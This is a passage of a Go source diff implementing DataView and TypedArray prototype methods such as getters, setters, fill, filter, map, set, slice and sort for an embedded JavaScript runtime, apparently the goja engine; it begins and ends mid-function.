intToValue(int64(dv.viewedArrayBuf.getUint16(dv.getIdxAndByteOrder(r.toIndex(call.Argument(0)), call.Argument(1), 2)))) + } + panic(r.NewTypeError("Method DataView.prototype.getUint16 called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) dataViewProto_getUint32(call FunctionCall) Value { + if dv, ok := r.toObject(call.This).self.(*dataViewObject); ok { + return intToValue(int64(dv.viewedArrayBuf.getUint32(dv.getIdxAndByteOrder(r.toIndex(call.Argument(0)), call.Argument(1), 4)))) + } + panic(r.NewTypeError("Method DataView.prototype.getUint32 called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) dataViewProto_getBigInt64(call FunctionCall) Value { + if dv, ok := r.toObject(call.This).self.(*dataViewObject); ok { + return (*valueBigInt)(dv.viewedArrayBuf.getBigInt64(dv.getIdxAndByteOrder(r.toIndex(call.Argument(0).ToNumber()), call.Argument(1), 8))) + } + panic(r.NewTypeError("Method DataView.prototype.getBigInt64 called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) dataViewProto_getBigUint64(call FunctionCall) Value { + if dv, ok := r.toObject(call.This).self.(*dataViewObject); ok { + return (*valueBigInt)(dv.viewedArrayBuf.getBigUint64(dv.getIdxAndByteOrder(r.toIndex(call.Argument(0).ToNumber()), call.Argument(1), 8))) + } + panic(r.NewTypeError("Method DataView.prototype.getBigUint64 called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) dataViewProto_setFloat32(call FunctionCall) Value { + if dv, ok := r.toObject(call.This).self.(*dataViewObject); ok { + idxVal := r.toIndex(call.Argument(0)) + val := toFloat32(call.Argument(1)) + idx, bo := dv.getIdxAndByteOrder(idxVal, call.Argument(2), 4) + dv.viewedArrayBuf.setFloat32(idx, val, bo) + return _undefined + } + panic(r.NewTypeError("Method DataView.prototype.setFloat32 called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) dataViewProto_setFloat64(call FunctionCall) Value { + if dv, ok := r.toObject(call.This).self.(*dataViewObject); ok { + idxVal := r.toIndex(call.Argument(0)) + val := call.Argument(1).ToFloat() + idx, bo := dv.getIdxAndByteOrder(idxVal, call.Argument(2), 8) + dv.viewedArrayBuf.setFloat64(idx, val, bo) + return _undefined + } + panic(r.NewTypeError("Method DataView.prototype.setFloat64 called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) dataViewProto_setInt8(call FunctionCall) Value { + if dv, ok := r.toObject(call.This).self.(*dataViewObject); ok { + idxVal := r.toIndex(call.Argument(0)) + val := toInt8(call.Argument(1)) + idx, _ := dv.getIdxAndByteOrder(idxVal, call.Argument(2), 1) + dv.viewedArrayBuf.setInt8(idx, val) + return _undefined + } + panic(r.NewTypeError("Method DataView.prototype.setInt8 called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) dataViewProto_setInt16(call FunctionCall) Value { + if dv, ok := r.toObject(call.This).self.(*dataViewObject); ok { + idxVal := r.toIndex(call.Argument(0)) + val := toInt16(call.Argument(1)) + idx, bo := dv.getIdxAndByteOrder(idxVal, call.Argument(2), 2) + dv.viewedArrayBuf.setInt16(idx, val, bo) + return _undefined + } + panic(r.NewTypeError("Method DataView.prototype.setInt16 called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) dataViewProto_setInt32(call FunctionCall) Value { + if dv, ok := r.toObject(call.This).self.(*dataViewObject); ok { + idxVal := r.toIndex(call.Argument(0)) + val := toInt32(call.Argument(1)) + idx, bo := dv.getIdxAndByteOrder(idxVal, call.Argument(2), 4) + dv.viewedArrayBuf.setInt32(idx, val, bo) + return _undefined + } + panic(r.NewTypeError("Method DataView.prototype.setInt32 called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) dataViewProto_setUint8(call FunctionCall) Value { + if dv, ok := r.toObject(call.This).self.(*dataViewObject); ok { + idxVal := r.toIndex(call.Argument(0)) + val := toUint8(call.Argument(1)) + idx, _ := dv.getIdxAndByteOrder(idxVal, call.Argument(2), 1) + dv.viewedArrayBuf.setUint8(idx, val) + return _undefined + } + panic(r.NewTypeError("Method DataView.prototype.setUint8 called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) dataViewProto_setUint16(call FunctionCall) Value { + if dv, ok := r.toObject(call.This).self.(*dataViewObject); ok { + idxVal := r.toIndex(call.Argument(0)) + val := toUint16(call.Argument(1)) + idx, bo := dv.getIdxAndByteOrder(idxVal, call.Argument(2), 2) + dv.viewedArrayBuf.setUint16(idx, val, bo) + return _undefined + } + panic(r.NewTypeError("Method DataView.prototype.setUint16 called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) dataViewProto_setUint32(call FunctionCall) Value { + if dv, ok := r.toObject(call.This).self.(*dataViewObject); ok { + idxVal := r.toIndex(call.Argument(0)) + val := toUint32(call.Argument(1)) + idx, bo := dv.getIdxAndByteOrder(idxVal, call.Argument(2), 4) + dv.viewedArrayBuf.setUint32(idx, val, bo) + return _undefined + } + panic(r.NewTypeError("Method DataView.prototype.setUint32 called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) dataViewProto_setBigInt64(call FunctionCall) Value { + if dv, ok := r.toObject(call.This).self.(*dataViewObject); ok { + idxVal := r.toIndex(call.Argument(0)) + val := toBigInt64(call.Argument(1)) + idx, bo := dv.getIdxAndByteOrder(idxVal, call.Argument(2), 8) + dv.viewedArrayBuf.setBigInt64(idx, val, bo) + return _undefined + } + panic(r.NewTypeError("Method DataView.prototype.setBigInt64 called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) dataViewProto_setBigUint64(call FunctionCall) Value { + if dv, ok := r.toObject(call.This).self.(*dataViewObject); ok { + idxVal := r.toIndex(call.Argument(0)) + val := toBigUint64(call.Argument(1)) + idx, bo := dv.getIdxAndByteOrder(idxVal, call.Argument(2), 8) + dv.viewedArrayBuf.setBigUint64(idx, val, bo) + return _undefined + } + panic(r.NewTypeError("Method DataView.prototype.setBigUint64 called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) typedArrayProto_getBuffer(call FunctionCall) Value { + if ta, ok := r.toObject(call.This).self.(*typedArrayObject); ok { + return ta.viewedArrayBuf.val + } + panic(r.NewTypeError("Method get TypedArray.prototype.buffer called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) typedArrayProto_getByteLen(call FunctionCall) Value { + if ta, ok := r.toObject(call.This).self.(*typedArrayObject); ok { + if ta.viewedArrayBuf.data == nil { + return _positiveZero + } + return intToValue(int64(ta.length) * int64(ta.elemSize)) + } + panic(r.NewTypeError("Method get TypedArray.prototype.byteLength called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) typedArrayProto_getLength(call FunctionCall) Value { + if ta, ok := r.toObject(call.This).self.(*typedArrayObject); ok { + if ta.viewedArrayBuf.data == nil { + return _positiveZero + } + return intToValue(int64(ta.length)) + } + panic(r.NewTypeError("Method get TypedArray.prototype.length called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) typedArrayProto_getByteOffset(call FunctionCall) Value { + if ta, ok := r.toObject(call.This).self.(*typedArrayObject); ok { + if ta.viewedArrayBuf.data == nil { + return _positiveZero + } + return intToValue(int64(ta.offset) * int64(ta.elemSize)) + } + panic(r.NewTypeError("Method get TypedArray.prototype.byteOffset called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) typedArrayProto_copyWithin(call FunctionCall) Value { + if ta, ok := r.toObject(call.This).self.(*typedArrayObject); ok { + ta.viewedArrayBuf.ensureNotDetached(true) + l := int64(ta.length) + var relEnd int64 + to := toIntStrict(relToIdx(call.Argument(0).ToInteger(), l)) + from := toIntStrict(relToIdx(call.Argument(1).ToInteger(), l)) + if end := call.Argument(2); end != _undefined { + relEnd = end.ToInteger() + } else { + relEnd = l + } + final := toIntStrict(relToIdx(relEnd, l)) + data := ta.viewedArrayBuf.data + offset := ta.offset + elemSize := ta.elemSize + if final > from { + ta.viewedArrayBuf.ensureNotDetached(true) + copy(data[(offset+to)*elemSize:], data[(offset+from)*elemSize:(offset+final)*elemSize]) + } + return call.This + } + panic(r.NewTypeError("Method TypedArray.prototype.copyWithin called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) typedArrayProto_entries(call FunctionCall) Value { + if ta, ok := r.toObject(call.This).self.(*typedArrayObject); ok { + ta.viewedArrayBuf.ensureNotDetached(true) + return r.createArrayIterator(ta.val, iterationKindKeyValue) + } + panic(r.NewTypeError("Method TypedArray.prototype.entries called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) typedArrayProto_every(call FunctionCall) Value { + if ta, ok := r.toObject(call.This).self.(*typedArrayObject); ok { + ta.viewedArrayBuf.ensureNotDetached(true) + callbackFn := r.toCallable(call.Argument(0)) + fc := FunctionCall{ + This: call.Argument(1), + Arguments: []Value{nil, nil, call.This}, + } + for k := 0; k < ta.length; k++ { + if ta.isValidIntegerIndex(k) { + fc.Arguments[0] = ta.typedArray.get(ta.offset + k) + } else { + fc.Arguments[0] = _undefined + } + fc.Arguments[1] = intToValue(int64(k)) + if !callbackFn(fc).ToBoolean() { + return valueFalse + } + } + return valueTrue + + } + panic(r.NewTypeError("Method TypedArray.prototype.every called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) typedArrayProto_fill(call FunctionCall) Value { + if ta, ok := r.toObject(call.This).self.(*typedArrayObject); ok { + ta.viewedArrayBuf.ensureNotDetached(true) + l := int64(ta.length) + k := toIntStrict(relToIdx(call.Argument(1).ToInteger(), l)) + var relEnd int64 + if endArg := call.Argument(2); endArg != _undefined { + relEnd = endArg.ToInteger() + } else { + relEnd = l + } + final := toIntStrict(relToIdx(relEnd, l)) + value := ta.typedArray.toRaw(call.Argument(0)) + ta.viewedArrayBuf.ensureNotDetached(true) + for ; k < final; k++ { + ta.typedArray.setRaw(ta.offset+k, value) + } + return call.This + } + panic(r.NewTypeError("Method TypedArray.prototype.fill called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) typedArrayProto_filter(call FunctionCall) Value { + o := r.toObject(call.This) + if ta, ok := o.self.(*typedArrayObject); ok { + ta.viewedArrayBuf.ensureNotDetached(true) + callbackFn := r.toCallable(call.Argument(0)) + fc := FunctionCall{ + This: call.Argument(1), + Arguments: []Value{nil, nil, call.This}, + } + buf := make([]byte, 0, ta.length*ta.elemSize) + captured := 0 + rawVal := make([]byte, ta.elemSize) + for k := 0; k < ta.length; k++ { + if ta.isValidIntegerIndex(k) { + fc.Arguments[0] = ta.typedArray.get(ta.offset + k) + i := (ta.offset + k) * ta.elemSize + copy(rawVal, ta.viewedArrayBuf.data[i:]) + } else { + fc.Arguments[0] = _undefined + for i := range rawVal { + rawVal[i] = 0 + } + } + fc.Arguments[1] = intToValue(int64(k)) + if callbackFn(fc).ToBoolean() { + buf = append(buf, rawVal...) + captured++ + } + } + c := r.speciesConstructorObj(o, ta.defaultCtor) + ab := r._newArrayBuffer(r.getArrayBufferPrototype(), nil) + ab.data = buf + kept := r.toConstructor(ta.defaultCtor)([]Value{ab.val}, ta.defaultCtor) + if c == ta.defaultCtor { + return kept + } else { + ret := r.typedArrayCreate(c, intToValue(int64(captured))) + keptTa := kept.self.(*typedArrayObject) + for i := 0; i < captured; i++ { + ret.typedArray.set(i, keptTa.typedArray.get(keptTa.offset+i)) + } + return ret.val + } + } + panic(r.NewTypeError("Method TypedArray.prototype.filter called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) typedArrayProto_find(call FunctionCall) Value { + if ta, ok := r.toObject(call.This).self.(*typedArrayObject); ok { + ta.viewedArrayBuf.ensureNotDetached(true) + predicate := r.toCallable(call.Argument(0)) + fc := FunctionCall{ + This: call.Argument(1), + Arguments: []Value{nil, nil, call.This}, + } + for k := 0; k < ta.length; k++ { + var val Value + if ta.isValidIntegerIndex(k) { + val = ta.typedArray.get(ta.offset + k) + } + fc.Arguments[0] = val + fc.Arguments[1] = intToValue(int64(k)) + if predicate(fc).ToBoolean() { + return val + } + } + return _undefined + } + panic(r.NewTypeError("Method TypedArray.prototype.find called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) typedArrayProto_findIndex(call FunctionCall) Value { + if ta, ok := r.toObject(call.This).self.(*typedArrayObject); ok { + ta.viewedArrayBuf.ensureNotDetached(true) + predicate := r.toCallable(call.Argument(0)) + fc := FunctionCall{ + This: call.Argument(1), + Arguments: []Value{nil, nil, call.This}, + } + for k := 0; k < ta.length; k++ { + if ta.isValidIntegerIndex(k) { + fc.Arguments[0] = ta.typedArray.get(ta.offset + k) + } else { + fc.Arguments[0] = _undefined + } + fc.Arguments[1] = intToValue(int64(k)) + if predicate(fc).ToBoolean() { + return fc.Arguments[1] + } + } + return intToValue(-1) + } + panic(r.NewTypeError("Method TypedArray.prototype.findIndex called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) typedArrayProto_findLast(call FunctionCall) Value { + if ta, ok := r.toObject(call.This).self.(*typedArrayObject); ok { + ta.viewedArrayBuf.ensureNotDetached(true) + predicate := r.toCallable(call.Argument(0)) + fc := FunctionCall{ + This: call.Argument(1), + Arguments: []Value{nil, nil, call.This}, + } + for k := ta.length - 1; k >= 0; k-- { + var val Value + if ta.isValidIntegerIndex(k) { + val = ta.typedArray.get(ta.offset + k) + } + fc.Arguments[0] = val + fc.Arguments[1] = intToValue(int64(k)) + if predicate(fc).ToBoolean() { + return val + } + } + return _undefined + } + panic(r.NewTypeError("Method TypedArray.prototype.findLast called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) typedArrayProto_findLastIndex(call FunctionCall) Value { + if ta, ok := r.toObject(call.This).self.(*typedArrayObject); ok { + ta.viewedArrayBuf.ensureNotDetached(true) + predicate := r.toCallable(call.Argument(0)) + fc := FunctionCall{ + This: call.Argument(1), + Arguments: []Value{nil, nil, call.This}, + } + for k := ta.length - 1; k >= 0; k-- { + if ta.isValidIntegerIndex(k) { + fc.Arguments[0] = ta.typedArray.get(ta.offset + k) + } else { + fc.Arguments[0] = _undefined + } + fc.Arguments[1] = intToValue(int64(k)) + if predicate(fc).ToBoolean() { + return fc.Arguments[1] + } + } + return intToValue(-1) + } + panic(r.NewTypeError("Method TypedArray.prototype.findLastIndex called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) typedArrayProto_forEach(call FunctionCall) Value { + if ta, ok := r.toObject(call.This).self.(*typedArrayObject); ok { + ta.viewedArrayBuf.ensureNotDetached(true) + callbackFn := r.toCallable(call.Argument(0)) + fc := FunctionCall{ + This: call.Argument(1), + Arguments: []Value{nil, nil, call.This}, + } + for k := 0; k < ta.length; k++ { + var val Value + if ta.isValidIntegerIndex(k) { + val = ta.typedArray.get(ta.offset + k) + } + fc.Arguments[0] = val + fc.Arguments[1] = intToValue(int64(k)) + callbackFn(fc) + } + return _undefined + } + panic(r.NewTypeError("Method TypedArray.prototype.forEach called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) typedArrayProto_includes(call FunctionCall) Value { + if ta, ok := r.toObject(call.This).self.(*typedArrayObject); ok { + ta.viewedArrayBuf.ensureNotDetached(true) + length := int64(ta.length) + if length == 0 { + return valueFalse + } + + n := call.Argument(1).ToInteger() + if n >= length { + return valueFalse + } + + if n < 0 { + n = max(length+n, 0) + } + + searchElement := call.Argument(0) + if searchElement == _negativeZero { + searchElement = _positiveZero + } + startIdx := toIntStrict(n) + if !ta.viewedArrayBuf.ensureNotDetached(false) { + if searchElement == _undefined && startIdx < ta.length { + return valueTrue + } + return valueFalse + } + if ta.typedArray.typeMatch(searchElement) { + se := ta.typedArray.toRaw(searchElement) + for k := startIdx; k < ta.length; k++ { + if ta.typedArray.getRaw(ta.offset+k) == se { + return valueTrue + } + } + } + return valueFalse + } + panic(r.NewTypeError("Method TypedArray.prototype.includes called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) typedArrayProto_at(call FunctionCall) Value { + if ta, ok := r.toObject(call.This).self.(*typedArrayObject); ok { + ta.viewedArrayBuf.ensureNotDetached(true) + idx := call.Argument(0).ToInteger() + length := int64(ta.length) + if idx < 0 { + idx = length + idx + } + if idx >= length || idx < 0 { + return _undefined + } + if ta.viewedArrayBuf.ensureNotDetached(false) { + return ta.typedArray.get(ta.offset + int(idx)) + } + return _undefined + } + panic(r.NewTypeError("Method TypedArray.prototype.at called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) typedArrayProto_indexOf(call FunctionCall) Value { + if ta, ok := r.toObject(call.This).self.(*typedArrayObject); ok { + ta.viewedArrayBuf.ensureNotDetached(true) + length := int64(ta.length) + if length == 0 { + return intToValue(-1) + } + + n := call.Argument(1).ToInteger() + if n >= length { + return intToValue(-1) + } + + if n < 0 { + n = max(length+n, 0) + } + + if ta.viewedArrayBuf.ensureNotDetached(false) { + searchElement := call.Argument(0) + if searchElement == _negativeZero { + searchElement = _positiveZero + } + if !IsNaN(searchElement) && ta.typedArray.typeMatch(searchElement) { + se := ta.typedArray.toRaw(searchElement) + for k := toIntStrict(n); k < ta.length; k++ { + if ta.typedArray.getRaw(ta.offset+k) == se { + return intToValue(int64(k)) + } + } + } + } + return intToValue(-1) + } + panic(r.NewTypeError("Method TypedArray.prototype.indexOf called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) typedArrayProto_join(call FunctionCall) Value { + if ta, ok := r.toObject(call.This).self.(*typedArrayObject); ok { + ta.viewedArrayBuf.ensureNotDetached(true) + s := call.Argument(0) + var sep String + if s != _undefined { + sep = s.toString() + } else { + sep = asciiString(",") + } + l := ta.length + if l == 0 { + return stringEmpty + } + + var buf StringBuilder + + var element0 Value + if ta.isValidIntegerIndex(0) { + element0 = ta.typedArray.get(ta.offset + 0) + } + if element0 != nil && element0 != _undefined && element0 != _null { + buf.WriteString(element0.toString()) + } + + for i := 1; i < l; i++ { + buf.WriteString(sep) + if ta.isValidIntegerIndex(i) { + element := ta.typedArray.get(ta.offset + i) + if element != nil && element != _undefined && element != _null { + buf.WriteString(element.toString()) + } + } + } + + return buf.String() + } + panic(r.NewTypeError("Method TypedArray.prototype.join called on incompatible receiver")) +} + +func (r *Runtime) typedArrayProto_keys(call FunctionCall) Value { + if ta, ok := r.toObject(call.This).self.(*typedArrayObject); ok { + ta.viewedArrayBuf.ensureNotDetached(true) + return r.createArrayIterator(ta.val, iterationKindKey) + } + panic(r.NewTypeError("Method TypedArray.prototype.keys called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) typedArrayProto_lastIndexOf(call FunctionCall) Value { + if ta, ok := r.toObject(call.This).self.(*typedArrayObject); ok { + ta.viewedArrayBuf.ensureNotDetached(true) + length := int64(ta.length) + if length == 0 { + return intToValue(-1) + } + + var fromIndex int64 + + if len(call.Arguments) < 2 { + fromIndex = length - 1 + } else { + fromIndex = call.Argument(1).ToInteger() + if fromIndex >= 0 { + fromIndex = min(fromIndex, length-1) + } else { + fromIndex += length + if fromIndex < 0 { + fromIndex = -1 // prevent underflow in toIntStrict() on 32-bit platforms + } + } + } + + if ta.viewedArrayBuf.ensureNotDetached(false) { + searchElement := call.Argument(0) + if searchElement == _negativeZero { + searchElement = _positiveZero + } + if !IsNaN(searchElement) && ta.typedArray.typeMatch(searchElement) { + se := ta.typedArray.toRaw(searchElement) + for k := toIntStrict(fromIndex); k >= 0; k-- { + if ta.typedArray.getRaw(ta.offset+k) == se { + return intToValue(int64(k)) + } + } + } + } + + return intToValue(-1) + } + panic(r.NewTypeError("Method TypedArray.prototype.lastIndexOf called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) typedArrayProto_map(call FunctionCall) Value { + if ta, ok := r.toObject(call.This).self.(*typedArrayObject); ok { + ta.viewedArrayBuf.ensureNotDetached(true) + callbackFn := r.toCallable(call.Argument(0)) + fc := FunctionCall{ + This: call.Argument(1), + Arguments: []Value{nil, nil, call.This}, + } + dst := r.typedArraySpeciesCreate(ta, []Value{intToValue(int64(ta.length))}) + for i := 0; i < ta.length; i++ { + if ta.isValidIntegerIndex(i) { + fc.Arguments[0] = ta.typedArray.get(ta.offset + i) + } else { + fc.Arguments[0] = _undefined + } + fc.Arguments[1] = intToValue(int64(i)) + dst.typedArray.set(i, callbackFn(fc)) + } + return dst.val + } + panic(r.NewTypeError("Method TypedArray.prototype.map called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) typedArrayProto_reduce(call FunctionCall) Value { + if ta, ok := r.toObject(call.This).self.(*typedArrayObject); ok { + ta.viewedArrayBuf.ensureNotDetached(true) + callbackFn := r.toCallable(call.Argument(0)) + fc := FunctionCall{ + This: _undefined, + Arguments: []Value{nil, nil, nil, call.This}, + } + k := 0 + if len(call.Arguments) >= 2 { + fc.Arguments[0] = call.Argument(1) + } else { + if ta.length > 0 { + fc.Arguments[0] = ta.typedArray.get(ta.offset + 0) + k = 1 + } + } + if fc.Arguments[0] == nil { + panic(r.NewTypeError("Reduce of empty array with no initial value")) + } + for ; k < ta.length; k++ { + if ta.isValidIntegerIndex(k) { + fc.Arguments[1] = ta.typedArray.get(ta.offset + k) + } else { + fc.Arguments[1] = _undefined + } + idx := valueInt(k) + fc.Arguments[2] = idx + fc.Arguments[0] = callbackFn(fc) + } + return fc.Arguments[0] + } + panic(r.NewTypeError("Method TypedArray.prototype.reduce called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) typedArrayProto_reduceRight(call FunctionCall) Value { + if ta, ok := r.toObject(call.This).self.(*typedArrayObject); ok { + ta.viewedArrayBuf.ensureNotDetached(true) + callbackFn := r.toCallable(call.Argument(0)) + fc := FunctionCall{ + This: _undefined, + Arguments: []Value{nil, nil, nil, call.This}, + } + k := ta.length - 1 + if len(call.Arguments) >= 2 { + fc.Arguments[0] = call.Argument(1) + } else { + if k >= 0 { + fc.Arguments[0] = ta.typedArray.get(ta.offset + k) + k-- + } + } + if fc.Arguments[0] == nil { + panic(r.NewTypeError("Reduce of empty array with no initial value")) + } + for ; k >= 0; k-- { + if ta.isValidIntegerIndex(k) { + fc.Arguments[1] = ta.typedArray.get(ta.offset + k) + } else { + fc.Arguments[1] = _undefined + } + idx := valueInt(k) + fc.Arguments[2] = idx + fc.Arguments[0] = callbackFn(fc) + } + return fc.Arguments[0] + } + panic(r.NewTypeError("Method TypedArray.prototype.reduceRight called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) typedArrayProto_reverse(call FunctionCall) Value { + if ta, ok := r.toObject(call.This).self.(*typedArrayObject); ok { + ta.viewedArrayBuf.ensureNotDetached(true) + l := ta.length + middle := l / 2 + for lower := 0; lower != middle; lower++ { + upper := l - lower - 1 + ta.typedArray.swap(ta.offset+lower, ta.offset+upper) + } + + return call.This + } + panic(r.NewTypeError("Method TypedArray.prototype.reverse called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) typedArrayProto_set(call FunctionCall) Value { + if ta, ok := r.toObject(call.This).self.(*typedArrayObject); ok { + srcObj := call.Argument(0).ToObject(r) + targetOffset := toIntStrict(call.Argument(1).ToInteger()) + if targetOffset < 0 { + panic(r.newError(r.getRangeError(), "offset should be >= 0")) + } + ta.viewedArrayBuf.ensureNotDetached(true) + targetLen := ta.length + if src, ok := srcObj.self.(*typedArrayObject); ok { + src.viewedArrayBuf.ensureNotDetached(true) + srcLen := src.length + if x := srcLen + targetOffset; x < 0 || x > targetLen { + panic(r.newError(r.getRangeError(), "Source is too large")) + } + if src.defaultCtor == ta.defaultCtor { + copy(ta.viewedArrayBuf.data[(ta.offset+targetOffset)*ta.elemSize:], + src.viewedArrayBuf.data[src.offset*src.elemSize:(src.offset+srcLen)*src.elemSize]) + } else { + checkTypedArrayMixBigInt(src.defaultCtor, ta.defaultCtor) + curSrc := uintptr(unsafe.Pointer(&src.viewedArrayBuf.data[src.offset*src.elemSize])) + endSrc := curSrc + uintptr(srcLen*src.elemSize) + curDst := uintptr(unsafe.Pointer(&ta.viewedArrayBuf.data[(ta.offset+targetOffset)*ta.elemSize])) + dstOffset := ta.offset + targetOffset + srcOffset := src.offset + if ta.elemSize == src.elemSize { + if curDst <= curSrc || curDst >= endSrc { + for i := 0; i < srcLen; i++ { + ta.typedArray.set(dstOffset+i, src.typedArray.get(srcOffset+i)) + } + } else { + for i := srcLen - 1; i >= 0; i-- { + ta.typedArray.set(dstOffset+i, src.typedArray.get(srcOffset+i)) + } + } + } else { + x := int(curDst-curSrc) / (src.elemSize - ta.elemSize) + if x < 0 { + x = 0 + } else if x > srcLen { + x = srcLen + } + if ta.elemSize < src.elemSize { + for i := x; i < srcLen; i++ { + ta.typedArray.set(dstOffset+i, src.typedArray.get(srcOffset+i)) + } + for i := x - 1; i >= 0; i-- { + ta.typedArray.set(dstOffset+i, src.typedArray.get(srcOffset+i)) + } + } else { + for i := 0; i < x; i++ { + ta.typedArray.set(dstOffset+i, src.typedArray.get(srcOffset+i)) + } + for i := srcLen - 1; i >= x; i-- { + ta.typedArray.set(dstOffset+i, src.typedArray.get(srcOffset+i)) + } + } + } + } + } else { + targetLen := ta.length + srcLen := toIntStrict(toLength(srcObj.self.getStr("length", nil))) + if x := srcLen + targetOffset; x < 0 || x > targetLen { + panic(r.newError(r.getRangeError(), "Source is too large")) + } + for i := 0; i < srcLen; i++ { + val := nilSafe(srcObj.self.getIdx(valueInt(i), nil)) + if ta.isValidIntegerIndex(targetOffset + i) { + ta.typedArray.set(ta.offset+targetOffset+i, val) + } + } + } + return _undefined + } + panic(r.NewTypeError("Method TypedArray.prototype.set called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) typedArrayProto_slice(call FunctionCall) Value { + if ta, ok := r.toObject(call.This).self.(*typedArrayObject); ok { + ta.viewedArrayBuf.ensureNotDetached(true) + length := int64(ta.length) + start := toIntStrict(relToIdx(call.Argument(0).ToInteger(), length)) + var e int64 + if endArg := call.Argument(1); endArg != _undefined { + e = endArg.ToInteger() + } else { + e = length + } + end := toIntStrict(relToIdx(e, length)) + + count := end - start + if count < 0 { + count = 0 + } + dst := r.typedArraySpeciesCreate(ta, []Value{intToValue(int64(count))}) + if dst.defaultCtor == ta.defaultCtor { + if count > 0 { + ta.viewedArrayBuf.ensureNotDetached(true) + offset := ta.offset + elemSize := ta.elemSize + copy(dst.viewedArrayBuf.data, ta.viewedArrayBuf.data[(offset+start)*elemSize:(offset+start+count)*elemSize]) + } + } else { + for i := 0; i < count; i++ { + ta.viewedArrayBuf.ensureNotDetached(true) + dst.typedArray.set(i, ta.typedArray.get(ta.offset+start+i)) + } + } + return dst.val + } + panic(r.NewTypeError("Method TypedArray.prototype.slice called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) typedArrayProto_some(call FunctionCall) Value { + if ta, ok := r.toObject(call.This).self.(*typedArrayObject); ok { + ta.viewedArrayBuf.ensureNotDetached(true) + callbackFn := r.toCallable(call.Argument(0)) + fc := FunctionCall{ + This: call.Argument(1), + Arguments: []Value{nil, nil, call.This}, + } + for k := 0; k < ta.length; k++ { + if ta.isValidIntegerIndex(k) { + fc.Arguments[0] = ta.typedArray.get(ta.offset + k) + } else { + fc.Arguments[0] = _undefined + } + fc.Arguments[1] = intToValue(int64(k)) + if callbackFn(fc).ToBoolean() { + return valueTrue + } + } + return valueFalse + } + panic(r.NewTypeError("Method TypedArray.prototype.some called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) typedArrayProto_sort(call FunctionCall) Value { + if ta, ok := r.toObject(call.This).self.(*typedArrayObject); ok { + ta.viewedArrayBuf.ensureNotDetached(true) + var compareFn func(FunctionCall) Value + + if arg := call.Argument(0); arg != _undefined { + compareFn = r.toCallable(arg) + } + + ctx := typedArraySortCtx{ + ta: ta, + compare: compareFn, + } + + sort.Stable(&ctx) + return call.This + } + panic(r.NewTypeError("Method TypedArray.prototype.sort called on incompatible receiver %s", r.objectproto_toString(FunctionCall{This: call.This}))) +} + +func (r *Runtime) typedArrayProto_subarray(call FunctionCall) Value { + if ta, ok := r.toObject(call.This).self.(*typedArrayObject); ok { + l := int64(ta.length) + beginIdx := relToIdx(call.Argument(0).ToInteger(), l) + var relEnd int64 + if endArg := call.Argument(1); endArg != _undefined { + relEnd = endArg.ToInteger() + } else { + relEnd = l + } + endIdx := relToIdx(relEnd, l) + newLen := max(endIdx-beginIdx, 0) + return r.typedArraySpeciesCreate(ta, []Value{ta.viewedArrayBuf.val, + intToValue((int64(ta.offset) + beginIdx) * int64(ta.elemSize)), + intToValue(newLen), + 